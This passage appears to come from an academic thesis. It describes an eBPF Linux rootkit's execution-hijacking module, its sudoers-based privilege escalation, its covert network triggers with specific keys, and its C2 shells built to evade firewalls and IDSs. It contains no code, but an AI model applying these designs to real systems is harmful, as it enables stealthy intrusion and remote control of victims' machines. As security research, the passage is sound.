Although not the most elegant solution, the solution for this issue incorporated in
our rootkit is that the tracepoint program will continue writing # symbols until an
error happens (thus indicating we reached the end of the file).
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4.4. Execution hijacking module

This section describes how the rootkit can hijack the execution of programs. Although in
principle eBPF in the kernel cannot start the execution of a program by itself, this module
shows how a malicious rootkit may take advantage of benign programs in order to execute
malicious code in the user space. Therefore, we aim to achieve two main goals:

• Execute a malicious user program taking advantage of other program’s execution.

• Be transparent to the user space, that is, if we hijack the execution of a program so
that another is run, the original program should be executed too with the least delay.

This technique is based on the modification of the arguments of the system call sys_
execve, used to execute programs. When it is called, it causes the program that is currently
being run to be completely replaced by the new executed program [104]. Its arguments
are listed in Table 4.4

ARGUMENT DESCRIPTION
const char __user *filename Path and filename of the file to execute

const char __user *const __user *argv NULL-terminated array with arguments
passed to the program

const char __user *const __user *envp NULL-terminated array with the
environment variables associated to the

executed program [105]

Table 4.4. Arguments of system call sys_execve.

As we can observe in the table, all of the arguments of the syscall are marked with the
keyword __user, and therefore as we explain in Section 3.3.1 these arguments can be over-
written using the eBPF helper bpf_probe_write_user(). This opens for us the possibility
of modifying these arguments so that another file is modified.

Figure 4.18 summarizes the results of an attack using this rootkit module. As we
can observe in the figure, we will hijack the execution of sys_execve to run our own
program, but as we mentioned we must execute the original program too in order not to
raise concerns in the user space. Therefore, the malicious program must be able to access
the original arguments of the sys_execve call to execute the original program.

As we will discuss, apart from running the original program, the malicious program
will run itself as sudo (taking advantage of the privilege escalation module) and then
connecting to the rootkit client.
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Fig. 4.18. Overview of execution hijacking attack.

4.4.1. Overwriting sys_execve

We have mentioned the possibility of overwriting the parameters of the sys_execve syscall.
However, after loading an eBPF enter tracepoint attached to sys_execve and writing into
any of these buffers, we found three scenarios:

• The helper successfully overwrites the user buffers.

• The helper fails to overwrite all or some of the buffers.

• The helper successfully overwrites a buffer but, with a single write operation, it has
also modified the value of some other user buffer.

The reason for this is that, as we covered in Section 3.3.1, the bpf_probe_write_user()
helper fails to write any data in the occurence of a page fault. As we explained in Section
2.6.1, minor memory faults are particularly common when executing a fork() of a process,
since the child process will not get its page table completely copied from the parent, but
will request the mapping once it is attempted to be read.

Because programs calling sys_execve will be completely replaced by the new pro-
gram, we can find this function used commonly in two contexts:

• User programs which execute a new program as a child, but they do not want to be
terminated themselves. For this, they call a fork() and then execute execve() (which
calls the sys_execve syscall) in the child process.

• Programs that are run by the user in the command-line interface. Once a command
is introduced, the program corresponding to the command is searched, and the bash
process (or any other shell being used) will fork() itself and execute the new pro-
gram.

Therefore, when modifying the arguments of sys_execve, we will find that most calls
are from programs which had executed fork() previously, thus having a high probability
of failing. Note that the exact reason why writing one buffer with bpf_probe_write_user()
modifies multiple buffers simultaneously is unknown (and possibly undefined behaviour),
but it is a situation we must account for, since we cannot trust in the helper not returning
an error, we must check the result of this write accesses.
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4.4.2. Hiding data in a system call

Apart from having to take into account that the bpf_probe_write_user() helper may fail in
unexpected manners as we described, we also need to give special attention to how we will
preserve the original information of the program being executed via sys_execve after we
modify the arguments of this call. As we showed in Figure 4.18, the malicious program
executed using the hijacked syscall must be able to execute the original program. For this,
the program will fork() and create a child process, on which execve() will be called with
the original program arguments. Therefore, the main issue would be how to recover the
original arguments once they were overwritten by eBPF.

In order to achieve this, we will hide the original arguments in those passed to the
malicious program. Table 4.5 shows how this process works with a sample sys_execve
call. Environment variables have been omitted for simpleness, but we can usually find a
large array of them.

ORIGINAL ARGUMENTS
filename "/bin/ls"
argv[0] "ls"
argv[1] "-l"
argv[2] NULL
envp[0] NULL

MODIFIED ARGUMENTS
filename "/home/osboxes/execve_

hijack"
argv[0] "/bin/ls"
argv[1] "-l"
argv[2] NULL
envp[0] NULL

Table 4.5. Hiding data in sys_execve arguments.

As we can observe in the table, we will modify the value of filename with the ma-
licious program filename, and save the original filename into argv[0]. Performing this
substitution means losing little information since the argv[0] argument contains the name
of the program [106], information that can also be taken from the filename (thus it can be
recovered later). Only in very specific use cases the argv[0] argument is different from
the file included in the filename argument (like in Busybox [107]).

After the above substitution, the malicious program (in the table, "execve_hijack")
will be called, whose main function receives the following arguments:

int main (int argc, char *argv[], char *envp[]){}

Hence, the malicious program will use the argv[] and envp[] arrays to make another
sys_execve call with the original arguments, running the original program.
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4.4.3. Hijacking a program execution

Once we have analysed the two fundamental issues regarding this module (bpf_probe_
write_user fails and hiding information in the syscall arguments) we will now analyse the
execution hijacking module in detail using a sample program execution.

Figure 4.19 shows an overview on how the eBPF program will proceed to overwrite a
sys_execve call.

Fig. 4.19. Ebpf programs used in execution hijack attack.

As we can observe in the figure, the steps followed will be the following:

1. Load and attach an eBPF enter tracepoint attached to syscall sys_execve (sys_
enter_execve).

2. When a sys_execve is called, the eBPF program proceeds to overwrite the syscall
arguments so that, instead of the intended program, the malicious program (in the
figure, "execve_hijack") is executed. For this, it will follow the next steps:

(a) Check using the helper bpf_get_current_comm() that we are hooking the syscall
of our target program. For instance, if we are targeting the commands entered
by the user in the terminal, we would look for process bash.

(b) Backup the values of the filename and all arguments.

(c) Write using bpf_probe_write_user into the filename, subtituting it with the
filename of our malicious program.
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(d) Check that the write call was successful, and that the values of the arguments
are still the same as before (since as we explained in Section 4.4.1, these
may be modified simultaneously). If one of these errors happened, we will
write back into the filename the original program filename and exit from the
tracepoint.

(e) Write using bpf_probe_write_user into the first argument argv[0], substituting
it with the filename of the original program.

(f) Check again that the write call was successful, and that the values of the ar-
guments are still the same as before. If one of these errors happened, we will
write back into the argv[0] the original argument, and exit from the tracepoint.

3. If the previous steps were executed successfully, once we exit from the tracepoint
and the syscall sys_execve is executed we will find that our malicious program has
been run.

Once our malicious program has been executed, it is its responsibility to execute the
original program too. Also, we would like this program to be run with root privileges
even if the process which issued the original sys_execve call did not possess those. For
this, multiple methods can be used:

1. We could call sys_execve again and an eBPF program would modify the arguments
with the original program arguments.

2. We could use the information we have hidden in argv[0] to call the original program
and to execute the program as sudo.

In this rootkit, the second method will be used, with the purpose of showing this tech-
nique that can be used by malware where multiple program executions can be achieved
using only one set of arguments with the help of eBPF.

Figure 4.20 shows an overview on how the malicious program achieves to gain privi-
leges and execute the original program.

As we can observe in the figure, the malicious program will create multiple sys_
execve calls, each with a different set of arguments:

1. Firstly, the malicious program receives the arguments modified from eBPF, where
the original filename has been hidden in argv[0].

2. In order to be executed as sudo, the program crafts a new sys_execve call for run-
ning itself as sudo. For this, it creates a sudo process, which will inspect arguments
argv[1] and onwards to construct its own privileged sys_execve call once it checks
the user has sudo permissions.

Since our malicious program does not have sudo permissions, we make use of the
privilege escalation module we explained in Section 4.3 in order to modify the
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Fig. 4.20. sys_execve calls of a malicious program to execute original hijacked program.

contents of the /etc/sudoers file and tricking the sudo process into considering we
have sudo privilege. After this, the sudo process makes a sys_execve call to the
malicious process, which this time will be running with root permissions.

3. Once the malicious program is running with root privileges, it can perform different
actions in the infected machine. In our rootkit, this program (which can be found
in the repository at [108]), establishes a connection with the remote rootkit client
using a raw sockets-based protocol (which will be explain in Section 4.5.2).

Apart from this, the malicious program will now run the original program, by tak-
ing argv[1] as the filename and considering the rest of the argv[] array, starting at
position 2, as the program arguments (argv[1], argv[2]...). With respect to argv[0],
its original value is easily recovered from the original filename.

4.5. Backdoor and C2

This section covers a comprehensive analysis of the design, implementation and func-
tioning of the rootkit backdoor and its C2 capabilities. As we explained at the beginning
of the chapter, the rootkit will be capable of controlling all incoming and outgoing net-
work traffic, and we will weaponize this capability to build a remotely controllable system
which executes orders from the rootkit client.

Apart from the XDP and TC eBPF programs which compound the core of the back-
door module, we had to design and implement a series of network protocols which enable
to communicate through the network with the rootkit client. Also, we will consider that a
firewall, or an Intrusion Detection System (IDS) [109] may be scanning the traffic, search-
ing for suspicious packet. Therefore, we will attempt to camouflage our traffic as common
traffic generated by benign applications.

Note that IDSs and firewalls are usually located outside of the host, in the middle point
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between the router which connects to the Internet and the host. Therefore, it is not enough
that we hide our rootkit packets from the kernel using XDP as we explained in Section
3.4, but rather we must aim to design packets which are not suspicious to be malicious
even from the perspective of software that sits in the middle of all of our transmissions
through the network.

4.5.1. Backdoor triggers

After a machine is infected by the rootkit, the rootkit client program will be used by the
attacker to initiate a connection with the backdoor. However, first and foremost the back-
door needs to be able to detect whether a packet corresponds to common traffic generated
by the host applications, or if it is coming from the rootkit client. This is because the
attacker may be launching the rootkit client from any IP address, and listening at any
port, so the backdoor must learn these parameters from the rootkit client, whose identity
must be "authenticated" before establishing a connection with it. The first packet or group
of packets whose purpose is to instruct the backdoor about who is the rootkit client and
initiate a connection is known as a "trigger".

Although there exist a wide variety of types of triggers, each type offers different
advantages and drawbacks. In our rootkit, we have implemented multiple triggers with
the purpose of discussing multiple authentication options, ranging from simple keywords
inserted on packets, to complex packet streams that are based on triggers found in real-
world rootkits.

Note that, as we introduced in Section 2.8, we will be exclusively working with
TCP/IP packets, but an eBPF backdoor is capable of operating with any protocol of the
network stack.

Keyword-based triggers
These triggers are one of the simplest but also the most easily detectable by any program
inspecting the network traffic. This type of trigger consists of including a keyword (a
simple string) inside the payload of the TCP packet. Figure 4.21 shows an example of a
trigger of this kind.

Our rootkit is prepared to listen for keyword-based triggers, although it is a simple
Proof of Concept (PoC) which does not take part in the main C2 functionality. In the case
of the trigger shown in Figure 4.21, the rootkit will analyse the packet and detect that
the pre-defined keyword "XDP_PoC_0" has been inserted into the payload, thus learning
that the packet has been sent by the attacker. In the PoC implemented in our rootkit,
this triggers an overwrite action, in which the XDP program will proceed to modify the
payload and the packet size, changing the contents of the packet. This PoC can be seen in
action in Section 5.5.4.

Note that this functionality of XDP, although it has not been integrated in our rootkit,
enables a wide range of attacks related with the network, effectively working as Man-in-
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Fig. 4.21. Keyword-based trigger on a TCP/IP packet.

the-Middle. An example of this is HTTPS Downgrade attacks, where we would tamper
with the traffic related to the cipher suite negotiation process so that it turns into a plaintext
HTTP connection or an HTTPS connection with a less-secure cipher suite [110].

Port-knocking triggers
This type of triggers is based on a common previously agreed sequence of ports which
both the backdoor and the client share beforehand. When the client wants to initiate a
connection with the backdoor, it will send an ordered sequence of packets directed to
multiple of the ports of the infected host, so that the order of these ports corresponds to
the sequence agreed with the backdoor [111]. A backdoor sniffing network traffic will
detect this pattern and initiate a connection with the source.

This type of trigger has not been implemented in our rootkit, although it has been
discussed here for being one the most popular options.

Advanced pattern-based triggers
One of the main issues with keyword-based triggers is that, upon inspection of the packet,
the trigger is easily recognizable (the payload contains a plaintext string) and this can lead
to firewalls and IDSs flagging it as suspicious.

We can, however, work on top of the idea of building a pattern that can be recognized
by the backdoor, but at the same time seems random enough for an external network
supervisor. This is the basis of some of the triggers we can find in real-world rootkit, such
is the case of the rootkit Bvp47 [4].

Bvp47 is a rootkit with C2 capabilities built as a Linux kernel module developed by the
NSA Equation Group and discovered by the research laboratory Pangu Lab [112]. One
of its capabilities is communicating with a backdoor via pattern-based triggers. These
triggers are seemingly random, but they follow a hidden pattern that only the entity who
knows it will be able to detect it, acting as a "key". The triggers used in the Bvp47 rootkit
consist of a TCP packet whose payload has been filled with random memory, with the
exception of a selection of bits which are the result of certain XOR operations [113].

The backdoor of our rootkit can work with pattern-based triggers similar to those
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presented in Bvp47. Figure 4.22 shows the trigger we implemented for our backdoor.

Fig. 4.22. Pattern-based backdoor trigger in our rootkit.

As we can observe in the figure, a series of 8 data sections of 2 bytes of length each are
included in the payload. Some of these are completely random, while others are the result
of calculating operations involving other sections and some "keys". These keys are data
shared by the backdoor and the rootkit client and enable to encode hidden information
in what would seem random data after they are XORed with other data. Specifically, the
key K3 encodes the command which the rootkit client wants the backdoor to execute.
Table 4.6 shows the values and the actions triggered by K3 once they are parsed by the
backdoor. Table 4.7 shows the shared values of K1 and K2, which do not trigger an action
like K3, but serve to ensure that the value at the 7th data section (S3 XOR K3) was not
generated by accident by another packet.

VALUE ACTION
0x1F29 Request to start an encrypted pseudo-shell

connection.
0x4E14 Request to start a ’phantom shell’ connection

(this is explained in Section 4.5.2).
0x1D25 Request to load and attach all rootkit eBPF

programs.
0x1D24 Request to detach all rootkit eBPF programs

(except the backdoor’s).

Table 4.6. Rootkit actions related to K3 values in the pattern-based
backdoor trigger.

The above format guarantees that two packets will never contain the same data, while
at the same time the result is a TCP packet with random data. Therefore, when the back-
door receives any TCP packet, it will attempt to use K1, K2 and K3 to calculate the
operations shown in Figure 4.22. If the format matches, then it will instruct the rootkit
module responsible to execute the action related to K3.
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KEY VALUE
K1 0x56A4
K2 0x7813

Table 4.7. K1 and K2 values in the pattern-based backdoor trigger.

Although this type of trigger is stealthier than the previous we presented, its main
drawback is that, upon a forensic investigation and decompilation of the rootkit and back-
door, the value of the keys can be found and therefore its traffic detected.

Also, we want our TCP packet to be as similar to normal traffic as possible, therefore
sending a single TCP packet without a previous 3-way handshake would be slightly sus-
picious from a firewall standpoint. Therefore the pattern-based trigger we have presented
will be a SYN packet (in the TCP header, we set to 1 the SYN FLAG), so that the trigger
could be seen as a normal request for initiating a connection.

Although using SYN packets is stealthier than sending single data packet without
being in the context of a connection, it can be argued that SYN packets in a 3-way hand-
shake do not usually have a payload. However, the TCP standard allows for the inclusion
of data in SYN packets, and there exist some cases in which SYN packets with data are
being actively used, such is the case of TCP Fast Open [114] [115]. Also, we can find that
firewalls such as Cisco do not drop SYN packets even if they have data by default [116].

Multi-packet stealthy triggers
The final type of trigger incorporated into our backdooring system consists of a trigger
composed of a stream of TCP packets with an empty payload field. In this case, the
authentication of the rootkit client by the backdoor is achieved by hiding data inside some
of the fields at the TCP or IP headers.

This trigger is based on the one included on the implant called "Hive", from which var-
ious classified documents related with its development were leaked by WikiLeaks [117].
In this implant, the developers designed a large data payload to send with their own im-
plant remote controller, which was later divided into smaller chunks, each part being
injected into a different TCP, UDP or ICMP packet in a packet stream. When the implant
received these packets, it would reconstruct the original data by taking the payload from
the received packets and joining the chunks in order of packet arrival.

In our rootkit, we will follow a similar approach, hiding a large set of data not in the
payload of a TCP packet, but in the TCP headers itself. Our packets will also be marked
with the SYN flag. By taking these two measures, the stream of packets would seem a
harmless succession of SYN packets requesting to start a connection.

Firstly, the rootkit client will define the data payload to send as shown in Figure 4.23.

As we can observe in the figure, the rootkit will tell the backdoor information about to
which IP address the rootkit has to send back a response. This enables to send the multi-
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Fig. 4.23. Data payload sent by rootkit client using multi-packet trigger.

packet trigger from a spoofed IP address and port. It also contains another K3 XORed
with the port, so that the backdoor knows which action is requested by the rootkit client.
The values for this K3 are the same as we showed in Table 4.6.

The payload also contains two particularly relevant fields, a CRC and a XOR key:

• The XOR key will be used to calculate a rolling XOR over the whole payload before
it is sent. This operation consists of calculating the XOR of each byte X with its
adjacent X+1, and storing the result of the operation in byte X+1. Therefore, byte
0x00 is XORed with 0x01 and stored into 0x01, byte 0x01 XOR 0x02 is stored in
0x02, and we repeat the operation with the whole payload. The result is a seemingly
random array of bytes, which may go under the radar of any software supervising
the network.

• The Cyclic Redundancy Check (CRC) is an error-detecting code commonly used
to check for errors during data transmission [118]. By calculating the CRC of
our payload, we aim to ensure that the complete payload has been reconstructed
successfully after transmitting it to the backdoor.

A CRC is necessary because we may receive corrupted packets (TCP guarantees
integrity of data during a connection between applications, but we are capturing the
packets from the kernel in the backdoor) and because a firewall may modify our
packets before they reach the kernel at the host.

After the rootkit client has built the data payload to send, it will divide it into multiple
chunks and inject them into some of the fields at the TCP headers. We have implemented
two different triggers according to this:

1. The first type of trigger consists of dividing the payload into 3 chunks of 4 bytes
each, and injecting them into the sequence number of SYN TCP packets, as shown
in Figure 4.24.

2. The second type of trigger consists of dividing the payload into 6 chunks of 2 bytes
each, and injecting them into the source port of SYN TCP packets, as shown in
Figure 4.25.

Note that, although in Figure 4.24 and 4.25 the data is injected directly, this data has
been transformed under the rolling XOR, so a firewall or IDS would not easily reconstruct
the IP or the PORT just by looking at the packet.
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Fig. 4.24. Multi-packet trigger with payload embedded in TCP sequence number.

Fig. 4.25. Multi-packet trigger with payload embedded in TCP source port.
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After the rootkit client constructs the packet stream to send, the packets are sent in
order to the infected system and the backdoor will have to process them. The backdoor
will only be able to acknowledge that a trigger has been sent after the 3 (or the 6) packets
have been received, therefore the XDP program is in charge of saving the last 3 (or the
last 6) packets received from each IP address at a minimum.

In our rootkit, this is achieved by using eBPF maps which work as a First-In-First-Out
(FIFO) structure:

• The map backdoor_packet_log_16 keeps a log of the last 3 packets received by each
IP address, where the IP address is the key of the map.

• The map backdoor_packet_log_32 keeps a log of the last 6 packets received by each
IP address, where the IP address is the key of the map.

By using the previous maps, the XDP program will first wait until 3 (or 6) packets are
received, and afterwards attempt to extract the original payload for each new packet that
arrives. For this, the XDP program will:

1. Extract the sequence number (or source port) from each of the packets in the map
and concatenate the bytes.

2. Undo the rolling XOR operation.

3. Check that the CRC is correct.

4. Check that the field PORT XOR K3 is correct by trying with all the available values
of K3, calculating (PORT XOR K3) XOR K3 and checking if the result is PORT.

If the previous checks do not fail, it means the packet stream was a multi-stream
trigger and the XDP program proceeds to execute the action corresponding to K3.

4.5.2. Command and Control

This section details the C2 capabilities incorporated in our rootkit, that is, mechanisms
that enable the attacker to introduce rootkit commands (not to be confused with Linux
commands in a shell) from the remote rootkit client and to be executed in the infected
machine, returning the output of the command (if any) back to the client. These rootkit
commands can be instructed by sending a backdoor trigger, which as we mentioned, de-
pending on the value of K3 in the trigger, a different rootkit action will be executed by the
backdoor (available values are displayed in Table 4.6).

Some of the actions triggered by the backdoor involve modifying the behaviour of the
rootkit (such as attaching/detaching eBPF programs remotely), while others enable the
attacker to spawn rootkit ’pseudo-shells’. These pseudo-shells are a special rootkit-to-
rootkit client connections which simulate a shell program, enabling the attacker to execute
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Linux commands remotely and get the results as if it was executing them directly in the
infected machine. During this connection, the rootkit and the rootkit client will exchange
messages containing commands and information. For this, both programs need to agree
on a common protocol which is mutually understood, defining the format and content of
these transmissions.

Apart from being able to spawn pseudo-shells by sending such action requests to the
backdoor using a backdoor trigger, some other shells can also be spawned as a result of
a successful exploitation of either the library injection module or the execution hijacking
module. In particular, the malicious library we injected in Section 4.2 and the malicious
user program of Section 4.4 spawn one of these shells once they are executed.

As a summary, Figure 4.26 shows an overview of C2 infrastructure.

Fig. 4.26. Command and Control infrastructure of the rootkit.

As we can observe in the figure, the rootkit client offers a command launcher, which
sends backdoor triggers to the backdoor. The backdoor scans the traffic and executes the
according action corresponding to K3. After that, the backdoor can use the ring buffer to
instruct the rootkit user process to launch actions from the user space. One of these actions
is starting an encrypted pseudo-shell connection, enabling the rootkit client to remotely
execute commands in the infected machine. As we mentioned, other types of shells can be
spawned, including a simple reverse shell by the malicious library of the library injection
module, a plaintext pseudo-shell connection by the execution hijacking module, and a
pseudo-shell based on packets hijacked by the backdoor called the ’phantom shell’.

We will now proceed to analyse each of these connections and shell-like mechanisms
which compound the C2 functionality.

Reverse shell
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This is the simplest and most automated shell we can obtain from an infected machine.
This shell is spawned when we inject the malicious library of the library injection module
(Section 4.2), therefore the parties involved in the transmission are the rootkit client and
the malicious library.

A reverse shell is initiated from the infected machine to the attacker, that is, the ma-
licious library actively initiates the connection, and the rootkit client must listen for this
request using a netcat listener (or a similar program). A reverse shell is usually created in
three steps:

1. Open a socket and setting a TCP connection with the attacker IP and listening port
(other protocols may be used too).

2. Readjusting the three standard POSIX file descriptors in the infected machine (stdin,
stdout, stderr) [119] so that they refer to the same file descriptor of the socket.

3. Executing a shell program (bash, sh).

With the above setup, any command received in the socket (which is now a duplicate
of file descriptor stdin) will be used by the shell program as an input. The shell program
will execute the command and return the output in stdout, which since it is now a duplicate
of the socket, it will be written into the socket, sending the message to the attacker through
the network.

The attacker, for its part, can accept the TCP connection requested by the infected
machine, opening a socket and writing to it to send commands, and reading from the
socket to receive the output of the commands’ execution on the victim.

Plaintext pseudo-shell
This shell-like connection enables the attacker to send commands, execute them in the
infected machine and receive back the output without the execution of any shell program,
and with all transmissions being sent in plaintext over the network.

This type of shell is obtained by running the malicious program of the execution hi-
jacking module of the rootkit. The rootkit currently does not incorporate a backdoor
trigger that launches this module, but rather it is started automatically once the malicious
program is executed (see Table 4.6, we have not included a K3 for running an unencrypted
pseudo-shell).

While running a plaintext pseudo-shell, the rootkit client and the malicious program
from the execution hijacking module (hereafter called the rootkit, since it is part of it) will
make use of a master/slave protocol where the rootkit client acts as the master (sending
commands) and the rootkit acts as the slave (it only sends data in response of a client
message). On each transmission, the rootkit client will send a single TCP packet (without
a preceding 3-way handshake) in which the command is embedded as the payload. The
rootkit will execute this command and answer back with the output in another single TCP
packet.
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Apart from the data being transmitted (the command and the output of that command),
we will find a protocol header embedded in the packet payload too. This header will be
positioned starting at the first byte of the packet payload, preceding any other data, which
is written in the next byte right after the header ends. Figure 4.27 shows the overall
structure of one of the TCP packets being used in the protocol. Table 4.8 shows the
different headers and their meaning in the protocol.

Fig. 4.27. Packet structure in a plaintext rootkit pseudo-shell.

HEADER DESCRIPTION
CC_SYN Sent by the rootkit client to the rootkit,

requests to initiate a connection. Expects a
packet with CC_ACK in response.

CC_ACK Sent by the rootkit to the rootkit client,
indicates readiness to initiate a connection.

CC_MSG# Packet with data. If sent by the rootkit client, it
contains a command. If sent by the rootkit, it

contains the command execution output.
CC_FIN Sent by the rootkit client. Requests to

terminate the pseudo-shell connection.
CC_ERR Sent by the rootkit. Indicates that the rootkit

failed to parse the packet that the rootkit client
sent.

Table 4.8. Protocol headers in the plaintext rootkit pseudo-shell.

Figure 4.28 illustrates a common transmission following the described protocol.

As we can observe in Figure 4.28, packets containing CC_SYN and CC_ACK act as a
custom 2-way handshake. This step could be considered redundant and has been included
only to share a resemblance with the TCP protocol.
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Fig. 4.28. Execution of a command using a plaintext rootkit pseudo-shell.

Also, note that after a successful CC_SYN-CC_ACK exchange there is no need to
repeat it after a CC_MSG, the transmission will consist of consecutive CC_MSG packets
until the pseudo-shell is closed from the rootkit client with a CC_FIN.

Encrypted pseudo-shell
Similarly to plaintext pseudo-shells, encrypted pseudo-shells enable the attacker to send
commands, execute them in the infected machine and receive back the output, but all
transmissions will be contained in the context of a secure encrypted connection using
TLS.

In our rootkit, this type of shells are spawned after the rootkit client requests such an
action to the network backdoor by setting the appropriate value of K3 (see Table 4.6) on
either a pattern-based backdoor trigger or a multi-packet trigger. Once such a trigger is
received in the backdoor, it will request to the rootkit user process to execute a TLS client
that connects to the TLS server run at the rootkit client.

Once both parties are connected using TLS, they exchange data using a custom proto-
col, similar to the one used for plaintext pseudo-shells, but this time using TLS-contained
messages. This message exchange works as master/slave protocol too, where the rootkit
client will send a command to the rootkit, and the rootkit will execute the command and
answer back with the output. Similarly to plaintext pseudo-shells, these messages are
composed of a header and the data being transmitted. Table 4.9 show the headers accord-
ing to the protocol.

As we can observe, this protocol works similarly to the one in pseudo-shells, with the
only absence of the CC_SYN and CC_ACK messages. The reason for this is that, since
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HEADER DESCRIPTION
CC_COMM_RQ# Sent by the rootkit client to the rootkit, sends a

command to be executed.
CC_COMM_RS# Sent by the rootkit to the rootkit client, sends

the result of an executed command.
CC_FIN Sent by the rootkit client. Requests to

terminate the pseudo-shell connection.
CC_ERR Sent by the rootkit. Indicates that the rootkit

failed to parse the message that the rootkit
client sent.

Table 4.9. Protocol headers in the encrypted rootkit pseudo-shell.

the messages are contained in the context of a TLS connection, accepting the connection
is considered as assurance enough that both parties are already synchronized.

Phantom shell
This shell-like connection works with the coordination of both the XDP and TC modules
at the backdoor. It does not involve sending any packets from the user space, but rather
the backdoor will reuse packets being sent by other applications in the infected machine,
modifying them so that they are directed to the rootkit client. Afterwards, the original
packet will be transmitted without modifications to its original destination due to the TCP
retransmissions. This technique has been explained in detail in Section 3.4.1.

A phantom shell can be obtained from the rootkit client by sending a backdoor trigger
(only pattern-based triggers are supported for this shell) with the corresponding value of
K3 (see Table 4.6). The XDP program at the backdoor receives the trigger and communi-
cates to the TC program that the backdoor has been instructed to start a phantom shell. TC
will modify a single packet and send it to the rootkit client, indicating that the backdoor
is ready to start the phantom shell. After that, the client and the backdoor exchange TCP
packets using a shared protocol (similar to that of plaintext pseudo-shells) in the following
manner:

1. The rootkit client sends a TCP packet with the command to execute.

2. The XDP program at the backdoor scans the traffic and detects that a TCP packet
belonging to a phantom shell has been received (recognizing it by its header at the
TCP payload).

3. The XDP program tells the rootkit user space process to execute the command and
obtain the output.

4. The rootkit user space program communicates the TC program the output of the
command.

5. The TC program overwrite a packet and redirects it to the rootkit client.
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Both XDP and the user space rootkit program will communicate with the TC program
using a shared map called backdoor_phantom_shell. This map only stores one single
entry at a time, containing the following data:

• IP address indicated in the backdoor trigger to which the backdoor must write back
to.

• Port indicated in the backdoor trigger.

• The command requested by the rootkit client (this is empty when XDP communi-
cates having received the backdoor trigger in the first step).

With respect to the protocol being used, the TCP packets exchanged between the
rootkit client and the TC program is the same as that shown in Figure 4.27. The only
difference is in the headers being used, which are described in Table 4.10.

HEADER DESCRIPTION
CC_PHANTOM_INIT Sent by the TC program to the rootkit client

after receiving the pattern-based backdoor
trigger indicating request to initiate a phantom

shell.
CC_PHAN_RQ# Sent by the rootkit client to the backdoor, sends

a command to be executed.
CC_PHAN_RS# Sent by the backdoor to the rootkit client,

sends the result of an executed command.
CC_ERR Sent by the backdoor. Indicates that the rootkit

user space program failed to parse the
command that the rootkit client sent.

Table 4.10. Protocol headers in the phantom shell.

As we can appreciate in the table, in contrast to the other pseudo-shells we have pre-
sented, there are not any headers indicating to close the phantom shell in this protocol.
This is because there is no program listening to the messages such as in the previous
cases (the encrypted pseudo shell used a TLS client, the other where run from the ma-
licious library and malicious program from rootkit modules). In this case, however, the
backdoor listens for each message and executes the commands individually, as in a state-
less protocol (although it requires the starting backdoor trigger to authenticate the rootkit
client).

Figure 4.29 illustrates this explanation by showing how the rootkit client executes a
command using a phantom shell.

As we can observe in the figure, the XDP program at the backdoor is responsible
of sniffing the network for a backdoor trigger to authenticate an attacker and start the
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Fig. 4.29. Execution of a command using the phantom shell.
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phantom shell or, afterwards, a phantom shell header. Once the XDP program or the
rootkit user program write into the shared eBPF map that a phantom shell packet is needed
to be sent, the TC egress program hijacks the first TCP packet that a user application
requests to send through the network. TCP retransmissions ensure that this packet is
eventually delivered.

Note that, currently, the rootkit only hijacks TCP packets, but it could also modify the
headers of the packets of any other protocol so that they turn into a valid TCP packet too.

Backdoor commands
Apart from supporting the remote execution of commands via the shell-like connections
we have covered in this section, the backdoor also enables two other backdoor commands
which modify the behaviour of the rootkit. As we can observe in Table 4.6, these com-
mands consist on enabling or disabling eBPF programs remotely.

These commands are launched from the rootkit client and get sent to the backdoor in
the form of either a pattern-based trigger or any of the two forms of multi-packet trigger.
As with any other backdoor trigger, the XDP program checks the value of K3 contained
in the trigger and issues the corresponding action.

In the case of these commands, the order needs to be transmitted to the rootkit user
space program via the ring buffer, from where the eBPF programs will be attached or
detached using the eBPF program configurator. We will cover the eBPF program config-
urator extensively in Section 4.7.2.

Apart from just demonstrating the C2 capabilities of the rootkit, these commands are
useful to perform a soft reset of the rootkit remotely (since it reloads all eBPF programs
with the exception of the backdoor) or to minimize the rootkit activity to the minimum.

4.5.3. Backdoor internals

This section offers insight into the functioning of the XDP and TC programs composing
our backdoor. We will particularly analyse their life cycle and operation, starting from
the point when they are loaded and attached, and describing how they interact with the
network traffic at the infected machine.

XDP
The XDP program is responsible of sniffing incoming network traffic and detecting back-
door triggers sent by the rootkit client. For this, it acts as a filter, where packets get passed
to the kernel or go to the next filter depending on whether they meet certain criteria. Fig-
ure 4.30 illustrates the complete life cycle of the XDP program.

As we can observe in the figure, the XDP program must be attached to a network
interface of the infected machine (eth0, wlan0...). Once attached, it will repeatedly sniff
the incoming network traffic.

For any packet received, a filtering routine will be applied, whose purpose is to discard
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Fig. 4.30. Life cycle of the backdoor XDP program.
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any packet the backdoor will not work with, only keeping TCP/IP packets. Moreover,
these initial checks done with the purpose of determining the protocol must always been
made, otherwise the eBPF verifier may consider any access to the packet as invalid (since
it will not be sure about the type and bounds of the fields it is accessing). We can also
appreciate that the XDP program filters according to the destination port. The reason is
that we have designed our backdoor trigger so that they are always directed to this port
number.

After the initial filtering routine, the XDP program will check for any of the triggers
or headers it could be received to support the C2 capabilities of the backdoor. For this,
more filters will be implemented, usually checking for the payload or packet size first,
and later checking for the actual contents since the verifier forbids accessing payload data
if its length is not assured. Also, in the case of working with multi-packet triggers, the
related eBPF maps must be updated with the log of the latest packets received, as we
described in Section 4.5.1.

Once the type of trigger is detected, XDP proceeds to perform the actions related to
the value of K3 found inside each trigger. As we described in Section 4.5.2, these include
writing into the ring buffer or communicating with the TC program via the shared eBPF
map.

Note that in this diagram it has been omitted the section related with modifying incom-
ing packets, used for the PoC shown in Section 5.5.4. The reason is that its functionality
is identical to that being shown in Figure 4.31 implemented by the TC program.

TC
The TC egress program is responsible for sniffing outgoing network traffic and modifying
those packets needed for the C2 functionality, like the phantom shell. Similarly to the
XDP program, it is composed of multiple layers of filters, whose purpose is to determine
the packet protocol and the correctness of the data. Figure 4.31 shows the complete life
cycle of the TC program.

As we can observe in the figure, the TC program will ignore any packet until some data
arrives at the shared eBPF map. At that point, it will proceed to overwrite the packet with
the data it has been sent by the XDP or rootkit user process. In particular, it must redirect
the destination of the original packet (thus changing the IP address and destination port)
and modify the payload of the packet. Therefore, it approaches the packet modification
in two steps:

• Modifying the IP and TCP headers of the packet with the new destination data.

• Modifying the payload. Most of the times, this payload will be of different length
compared to that of the original TCP packet, and therefore the TC program must
modify the packet bounds. This is done using the bpf_skb_change_tail() helper,
which we covered in Section 2.3.2. Note that, once we modify the packet bounds,
the eBPF verifier will no longer trust our original checks with respect to the packet
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Fig. 4.31. Life cycle of the backdoor TC program.
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protocol and the validity of the payload. Therefore, all checks must be repeated
before being able to overwrite the payload of the packet.

After the requested modifications are made, the TC program passes the packet to the
